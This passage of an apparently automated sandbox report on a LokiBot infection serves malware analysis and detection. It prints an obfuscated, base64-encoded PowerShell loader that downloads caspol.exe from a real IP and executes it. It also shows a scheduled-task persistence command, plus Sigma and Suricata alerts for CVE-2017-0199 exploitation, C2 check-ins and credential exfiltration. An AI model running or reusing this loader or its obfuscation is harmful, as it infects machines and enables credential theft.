iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))", CommandLine: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwY

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3580, TargetFilename: C:\Users\user\AppData\Local\Temp\zedpap0h.oz0.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3580, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", ProcessId: 3792, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\caspol.exe", ParentImage: C:\Users\user\AppData\Roaming\caspol.exe, ParentProcessId: 3888, ParentProcessName: caspol.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", ProcessId: 4056, ProcessName: schtasks.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:32.963009+0100	2024197	1	A Network Trojan was detected	192.3.243.136	80	192.168.2.22	49164	TCP
2024-11-20T07:56:35.880037+0100	2024197	1	A Network Trojan was detected	192.3.243.136	80	192.168.2.22	49166	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:32.963004+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	192.3.243.136	80	TCP
2024-11-20T07:56:35.880012+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49166	192.3.243.136	80	TCP
2024-11-20T07:57:11.112717+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49184	192.3.243.136	80	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:57.988472+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:59.882200+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49169	94.156.177.41	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:56:57.248279+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T07:56:59.162067+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T07:57:00.038068+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T07:57:00.985981+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T07:57:01.990103+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T07:57:03.028263+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T07:57:04.458084+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T07:57:05.513581+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T07:57:07.053237+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:08.400152+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.288353+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.533829+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.427592+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.359101+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.469417+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.821226+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.719445+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.626398+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.507138+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.365734+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.253733+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.473746+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.599286+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.465376+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.474558+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.353742+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.253668+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:29.125788+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:30.114920+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.992768+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:32.063042+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.925555+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.906030+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.787024+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.655030+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.530041+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.385969+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.245541+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:39.100304+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:40.099524+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.957522+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.834157+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.690842+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:43.687015+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.686743+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.683162+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.572052+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.625431+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.537909+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.537253+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.541403+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.550185+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.571474+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.565464+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.459148+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.316399+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.191793+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:57.056887+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:58.063832+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:59.315019+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.406324+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.402550+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.410939+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.281828+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.153651+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.170720+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:06.042036+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:07.032370+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:08.079653+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:09.075720+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.961207+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.842151+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.848537+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.738339+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.595288+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.448889+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:57:00.801702+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49170	TCP
2024-11-20T07:57:01.717775+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49171	TCP
2024-11-20T07:57:02.767336+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49172	TCP
2024-11-20T07:57:03.841307+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49173	TCP
2024-11-20T07:57:05.315581+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49174	TCP
2024-11-20T07:57:06.379522+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49176	TCP
2024-11-20T07:57:07.939075+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49177	TCP
2024-11-20T07:57:09.113229+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49178	TCP
2024-11-20T07:57:10.040363+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49182	TCP
2024-11-20T07:57:11.268041+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49183	TCP
2024-11-20T07:57:12.160366+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49185	TCP
2024-11-20T07:57:13.070076+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49186	TCP
2024-11-20T07:57:14.198397+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49187	TCP
2024-11-20T07:57:15.544258+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49188	TCP
2024-11-20T07:57:16.460615+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49189	TCP
2024-11-20T07:57:17.352340+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49190	TCP
2024-11-20T07:57:18.222070+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49191	TCP
2024-11-20T07:57:19.101205+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49192	TCP
2024-11-20T07:57:20.097314+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49193	TCP
2024-11-20T07:57:21.197086+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49194	TCP
2024-11-20T07:57:25.327626+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49195	TCP
2024-11-20T07:57:26.330544+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49196	TCP
2024-11-20T07:57:27.212143+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49197	TCP
2024-11-20T07:57:28.073862+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49198	TCP
2024-11-20T07:57:28.982464+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49199	TCP
2024-11-20T07:57:29.979437+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49200	TCP
2024-11-20T07:57:30.843035+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49201	TCP
2024-11-20T07:57:31.716016+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49202	TCP
2024-11-20T07:57:32.789112+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49203	TCP
2024-11-20T07:57:33.773092+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49204	TCP
2024-11-20T07:57:34.643251+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49205	TCP
2024-11-20T07:57:35.511423+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49206	TCP
2024-11-20T07:57:36.389874+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49207	TCP
2024-11-20T07:57:37.249204+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49208	TCP
2024-11-20T07:57:38.100844+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49209	TCP
2024-11-20T07:57:38.960823+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49210	TCP
2024-11-20T07:57:39.959250+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49211	TCP
2024-11-20T07:57:40.821148+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49212	TCP
2024-11-20T07:57:41.680888+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49213	TCP
2024-11-20T07:57:42.548514+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49214	TCP
2024-11-20T07:57:43.550061+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49215	TCP
2024-11-20T07:57:44.546679+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49216	TCP
2024-11-20T07:57:45.538504+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49217	TCP
2024-11-20T07:57:46.397054+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49218	TCP
2024-11-20T07:57:47.440139+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49219	TCP
2024-11-20T07:57:48.355331+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49220	TCP
2024-11-20T07:57:49.392166+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49221	TCP
2024-11-20T07:57:50.401732+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49222	TCP
2024-11-20T07:57:51.405120+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49223	TCP
2024-11-20T07:57:52.419599+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49224	TCP
2024-11-20T07:57:53.417983+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49225	TCP
2024-11-20T07:57:54.302370+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49226	TCP
2024-11-20T07:57:55.168793+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49227	TCP
2024-11-20T07:57:56.042606+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49228	TCP
2024-11-20T07:57:56.917175+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49229	TCP
2024-11-20T07:57:57.919026+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49230	TCP
2024-11-20T07:57:58.925815+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49231	TCP
2024-11-20T07:58:00.184000+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49232	TCP
2024-11-20T07:58:01.254920+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49233	TCP
2024-11-20T07:58:02.257306+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49234	TCP
2024-11-20T07:58:03.147969+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49235	TCP
2024-11-20T07:58:04.017516+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49236	TCP
2024-11-20T07:58:05.020538+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49237	TCP
2024-11-20T07:58:05.893320+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49238	TCP
2024-11-20T07:58:06.884043+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49239	TCP
2024-11-20T07:58:07.913735+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49240	TCP
2024-11-20T07:58:08.919532+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49241	TCP
2024-11-20T07:58:09.795871+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49242	TCP
2024-11-20T07:58:10.695527+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49243	TCP
2024-11-20T07:58:11.692160+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49244	TCP
2024-11-20T07:58:12.566542+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49245	TCP
2024-11-20T07:58:13.446885+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49246	TCP
2024-11-20T07:58:14.318123+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49247	TCP
2024-11-20T07:58:15.165411+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49248	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
